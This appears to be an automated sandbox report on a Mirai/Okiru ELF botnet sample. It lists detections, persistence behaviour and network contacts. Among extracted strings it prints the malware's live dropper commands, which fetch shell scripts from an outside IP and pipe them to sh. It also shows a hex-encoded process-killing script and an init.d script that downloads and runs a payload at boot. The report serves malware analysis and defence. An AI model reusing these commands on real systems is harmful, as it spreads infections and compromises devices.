Linux Analysis Report
7aodVUk6TV.elf

Overview

General Information

Sample name: 7aodVUk6TV.elf
renamed because original name is a hash value
Original sample name: 6ebfec1f980883413ba9ef5d646b0a6c.elf
Analysis ID: 1531322
MD5: 6ebfec1f980883413ba9ef5d646b0a6c
SHA1: c3fd9a90be1108c558913131cfa630469a7475cd
SHA256: a25df254672e6cea3fc693f7b9bfc48e2c0e31b568009ad00dddf4739f4b4b9c
Tags: 32elfgafgytmips
Infos:

Detection

Mirai, Okiru
Score: 88
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: 7aodVUk6TV.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: 7aodVUk6TV.elf ReversingLabs: Detection: 52%
Source: 7aodVUk6TV.elf Virustotal: Detection: 51% Perma Link
Found strings indicative of a multi-platform dropper
Source: 7aodVUk6TV.elf String: /proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/./fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencodersystem/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login/proc/self/statusTracerPid/proc/1/cgroupkubepods/proc filesystem not found. Exiting. gorilla botnet didnt like this honeypot..../etc/motdw%s
Source: 7aodVUk6TV.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://154.216.19.140/lol.sh -O- | sh;/bin/busybox tftp -g http://154.216.19.140/ -r lol.sh -l- | sh;/bin/busybox ftpget http://154.216.19.140/ lol.sh lol.sh && sh lol.sh;curl http://154.216.19.140/curl.sh -o- | sh154.216.19.140GET /dlr. HTTP/1.0
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:38968 -> 154.216.19.139:199
Source: global traffic TCP traffic: 192.168.2.23:41486 -> 193.143.1.59:38242
Source: global traffic TCP traffic: 192.168.2.23:39322 -> 87.120.84.105:38242
Source: global traffic TCP traffic: 192.168.2.23:53504 -> 185.170.144.84:38242
Sample listens on a socket
Source: /tmp/7aodVUk6TV.elf (PID: 6237) Socket: 0.0.0.0:38242 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: 7aodVUk6TV.elf, profile.12.dr, 7aodVUk6TV.elf.38.dr, inittab.12.dr, bootcmd.12.dr, mybinary.12.dr, custom.service.12.dr String found in binary or memory: http://154.216.19.140/
Source: 7aodVUk6TV.elf String found in binary or memory: http://154.216.19.140/curl.sh
Source: 7aodVUk6TV.elf String found in binary or memory: http://154.216.19.140/lol.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/./fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencodersystem/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkil
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://154.216.19.140/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://154.216.19.140/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://154.216.19.140/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://154.216.19.140/lol.sh -O- | sh;/bin/busybox tftp -g http://154.216.19.140/ -r lol.sh -l- | sh;/bin/busybox ftpget http://154.216.19.140/ lol.sh lol.sh && sh lol.sh;curl http://154.216.19.140/curl.sh -o- | sh154.216.19.140GET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/7aodVUk6TV.elf (PID: 6259) SIGKILL sent: pid: 788, result: successful Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6259) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6259) SIGKILL sent: pid: 1664, result: successful Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6259) SIGKILL sent: pid: 2096, result: successful Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6259) SIGKILL sent: pid: 2102, result: successful Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6259) SIGKILL sent: pid: 6287, result: successful Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6259) SIGKILL sent: pid: 6307, result: successful Jump to behavior
Source: classification engine Classification label: mal88.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/7aodVUk6TV.elf (PID: 6237) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/7aodVUk6TV.elf (PID: 6237) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 6333) File: /etc/rcS.d/S99mybinary -> /etc/init.d/mybinary Jump to behavior
Source: /usr/bin/ln (PID: 6356) File: /etc/rc.d/S997aodVUk6TV.elf -> /etc/init.d/7aodVUk6TV.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/7aodVUk6TV.elf (PID: 6237) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6323) File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6344) File: /etc/init.d/7aodVUk6TV.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6472/status Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6471/status Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6474/status Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6473/status Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6476/status Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6475/status Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6477/status Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6072/cmdline Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6470/status Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/799/cmdline Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6469/status Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6468/status Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6461/status Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6460/status Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6463/status Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6462/status Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6465/status Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6464/status Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6467/status Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6466/status Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6436/status Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6438/status Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6437/status Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6361) File opened: /proc/6439/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/7aodVUk6TV.elf (PID: 6274) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6317) Shell command executed: sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1" Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6328) Shell command executed: sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1" Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6334) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/7aodVUk6TV.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting 7aodVUk6TV.elf'\n /tmp/7aodVUk6TV.elf &\n wget http://154.216.19.140/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping 7aodVUk6TV.elf'\n killall 7aodVUk6TV.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/7aodVUk6TV.elf" Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6339) Shell command executed: sh -c "chmod +x /etc/init.d/7aodVUk6TV.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6345) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/7aodVUk6TV.elf (PID: 6351) Shell command executed: sh -c "ln -s /etc/init.d/7aodVUk6TV.elf /etc/rc.d/S997aodVUk6TV.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6323) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mybinary Jump to behavior
Source: /bin/sh (PID: 6344) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/7aodVUk6TV.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6350) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 6286) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/7aodVUk6TV.elf (PID: 6237) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6323) File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6344) File: /etc/init.d/7aodVUk6TV.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/7aodVUk6TV.elf (PID: 6237) Writes shell script file to disk with an unusual file extension: /etc/init.d/mybinary Jump to dropped file
Source: /tmp/7aodVUk6TV.elf (PID: 6237) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 6334) Writes shell script file to disk with an unusual file extension: /etc/init.d/7aodVUk6TV.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/7aodVUk6TV.elf (PID: 6237) File: /etc/init.d/mybinary Jump to dropped file
Source: /bin/sh (PID: 6334) File: /etc/init.d/7aodVUk6TV.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/7aodVUk6TV.elf (PID: 6237) Queries kernel information via 'uname': Jump to behavior
Source: 7aodVUk6TV.elf, 6237.1.00007ffcdd05d000.00007ffcdd07e000.rw-.sdmp, 7aodVUk6TV.elf, 6259.1.00007ffcdd05d000.00007ffcdd07e000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/7aodVUk6TV.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/7aodVUk6TV.elf
Source: 7aodVUk6TV.elf, 6237.1.0000556c8baba000.0000556c8bb61000.rw-.sdmp, 7aodVUk6TV.elf, 6259.1.0000556c8baba000.0000556c8bb61000.rw-.sdmp Binary or memory string: /mipsel/usr/lib/bluetooth/obexd/etc/qemu-binfmt
Source: 7aodVUk6TV.elf, 6259.1.0000556c8baba000.0000556c8bb61000.rw-.sdmp Binary or memory string: !/proc/1494/exe@1/usr/lib/udisks2/udisksdsr/bin/vmtoolsd
Source: 7aodVUk6TV.elf, 6237.1.0000556c8baba000.0000556c8bb61000.rw-.sdmp, 7aodVUk6TV.elf, 6259.1.0000556c8baba000.0000556c8bb61000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mipsel
Source: 7aodVUk6TV.elf, 6237.1.0000556c8baba000.0000556c8bb61000.rw-.sdmp, 7aodVUk6TV.elf, 6259.1.0000556c8baba000.0000556c8bb61000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt
Source: 7aodVUk6TV.elf, 6259.1.00007f1ecc466000.00007f1ecc46b000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsel(
Source: 7aodVUk6TV.elf, 6259.1.00007f1ecc462000.00007f1ecc466000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd8GFXIF
Source: 7aodVUk6TV.elf, 6237.1.0000556c8baba000.0000556c8bb61000.rw-.sdmp, 7aodVUk6TV.elf, 6259.1.0000556c8baba000.0000556c8bb61000.rw-.sdmp Binary or memory string: lU!/etc/qemu-binfmt/mipsel
Source: 7aodVUk6TV.elf, 6237.1.00007ffcdd05d000.00007ffcdd07e000.rw-.sdmp Binary or memory string: lU/tmp/qemu-open.ieKc0N\
Source: 7aodVUk6TV.elf, 6237.1.00007ffcdd05d000.00007ffcdd07e000.rw-.sdmp, 7aodVUk6TV.elf, 6259.1.00007ffcdd05d000.00007ffcdd07e000.rw-.sdmp Binary or memory string: /qemu-open.XXXXX
Source: 7aodVUk6TV.elf, 6259.1.00007f1ecc462000.00007f1ecc466000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: 7aodVUk6TV.elf, 6237.1.00007ffcdd05d000.00007ffcdd07e000.rw-.sdmp Binary or memory string: /tmp/qemu-open.ieKc0N
Source: 7aodVUk6TV.elf, 6237.1.0000556c8baba000.0000556c8bb61000.rw-.sdmp Binary or memory string: /etc/qemu-binfmtP
Source: 7aodVUk6TV.elf, 6237.1.0000556c8baba000.0000556c8bb61000.rw-.sdmp Binary or memory string: /etc/qemu-binfmtP /usr/libexec/fwupdssboo
Source: 7aodVUk6TV.elf, 6259.1.0000556c8baba000.0000556c8bb61000.rw-.sdmp Binary or memory string: sr/bin/vmtoolsd
Source: 7aodVUk6TV.elf, 6237.1.00007ffcdd05d000.00007ffcdd07e000.rw-.sdmp, 7aodVUk6TV.elf, 6259.1.00007ffcdd05d000.00007ffcdd07e000.rw-.sdmp Binary or memory string: panel/wrapper-2./qemu-open.XXXXX
Source: 7aodVUk6TV.elf, 6237.1.00007ffcdd05d000.00007ffcdd07e000.rw-.sdmp, 7aodVUk6TV.elf, 6259.1.00007f1ecc466000.00007f1ecc46b000.rw-.sdmp, 7aodVUk6TV.elf, 6259.1.00007ffcdd05d000.00007ffcdd07e000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsel
Source: 7aodVUk6TV.elf, 6259.1.0000556c8baba000.0000556c8bb61000.rw-.sdmp Binary or memory string: lU!/usr/bin/vmtoolsd

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: 7aodVUk6TV.elf, type: SAMPLE
Source: Yara match File source: 6237.1.00007f1ecc400000.00007f1ecc421000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6259.1.00007f1ecc400000.00007f1ecc421000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: 7aodVUk6TV.elf, type: SAMPLE
Source: Yara match File source: 6237.1.00007f1ecc400000.00007f1ecc421000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6259.1.00007f1ecc400000.00007f1ecc421000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 7aodVUk6TV.elf PID: 6237, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 7aodVUk6TV.elf PID: 6259, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: 7aodVUk6TV.elf, type: SAMPLE
Source: Yara match File source: 6237.1.00007f1ecc400000.00007f1ecc421000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6259.1.00007f1ecc400000.00007f1ecc421000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: 7aodVUk6TV.elf, type: SAMPLE
Source: Yara match File source: 6237.1.00007f1ecc400000.00007f1ecc421000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6259.1.00007f1ecc400000.00007f1ecc421000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 7aodVUk6TV.elf PID: 6237, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 7aodVUk6TV.elf PID: 6259, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
86.222.52.93
 unknown France
3215 FranceTelecom-OrangeFR false
221.254.18.68
 unknown Japan 17506 UCOMARTERIANetworksCorporationJP false
126.250.189.205
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
76.241.88.230
 unknown United States
7018 ATT-INTERNET4US false
131.4.166.50
 unknown United States
721 DNIC-ASBLK-00721-00726US false
162.168.144.163
 unknown United States
21928 T-MOBILE-AS21928US false
223.227.192.217
 unknown India
45609 BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService false
41.236.193.57
 unknown Egypt
8452 TE-ASTE-ASEG false
150.120.110.245
 unknown United States
4152 USDA-1US false
210.121.10.165
 unknown Korea Republic of
45374 CCS-AS-KRCCSKR false
85.64.220.198
 unknown Israel
1680 NV-ASNCELLCOMltdIL false
164.84.250.249
 unknown United States
134984 NEXTGEN-AS-APNextGenNetPtyLtdAU false
137.85.79.237
 unknown United States
14977 STATE-OF-WYOMING-ASNUS false
162.198.92.176
 unknown United States
7018 ATT-INTERNET4US false
132.160.195.228
 unknown United States
62712 STATEHAWAIIUS false
149.67.101.96
 unknown United States
174 COGENT-174US false
175.131.8.173
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
105.193.205.242
 unknown Egypt
37069 MOBINILEG false
77.121.20.83
 unknown Ukraine
25229 VOLIA-ASUA false
4.64.158.36
 unknown United States
3356 LEVEL3US false
11.200.104.204
 unknown United States
3356 LEVEL3US false
148.159.36.148
 unknown United States
18715 NYPAUS false
77.228.147.208
 unknown Spain
12430 VODAFONE_ESES false
153.26.128.196
 unknown United States
6035 DNIC-ASBLK-05800-06055US false
129.200.113.88
 unknown United States
158 ERI-ASUS false
14.90.127.30
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
114.174.119.53
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
83.211.55.159
 unknown Italy
15589 ASN-CLOUDITALIAIT false
124.186.243.84
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
186.86.212.65
 unknown Colombia
10620 TelmexColombiaSACO false
67.98.211.210
 unknown United States
30550 UNASSIGNED false
26.136.114.29
 unknown United States
7922 COMCAST-7922US false
205.176.37.211
 unknown United States
8103 STATE-OF-FLAUS false
70.36.152.195
 unknown United States
46375 AS-SONICTELECOMUS false
3.90.7.6
 unknown United States
14618 AMAZON-AESUS false
168.239.149.83
 unknown United States
26057 MEDIAOCEANUS false
82.213.142.78
 unknown Spain
12357 COMUNITELSPAINES false
2.108.252.90
 unknown Denmark
3292 TDCTDCASDK false
194.219.199.17
 unknown Greece
1241 FORTHNET-GRForthnetEU false
204.229.63.228
 unknown United States
397285 CAMBRIDGETELEPHONECOUS false
179.4.147.147
 unknown Chile
6535 TelmexServiciosEmpresarialesSACL false
72.143.70.138
 unknown Canada
812 ROGERS-COMMUNICATIONSCA false
165.110.43.144
 unknown United States
4185 ATTIS-ASN4185US false
79.126.150.219
 unknown Macedonia
16333 ONNET-AS-OWNMK false
191.143.58.255
 unknown Brazil
26615 TIMSABR false
32.37.213.51
 unknown United States
8030 WORLDNET5-10US false
189.175.166.125
 unknown Mexico
8151 UninetSAdeCVMX false
26.51.26.3
 unknown United States
7922 COMCAST-7922US false
82.31.249.118
 unknown United Kingdom
5089 NTLGB false
101.91.248.63
 unknown China
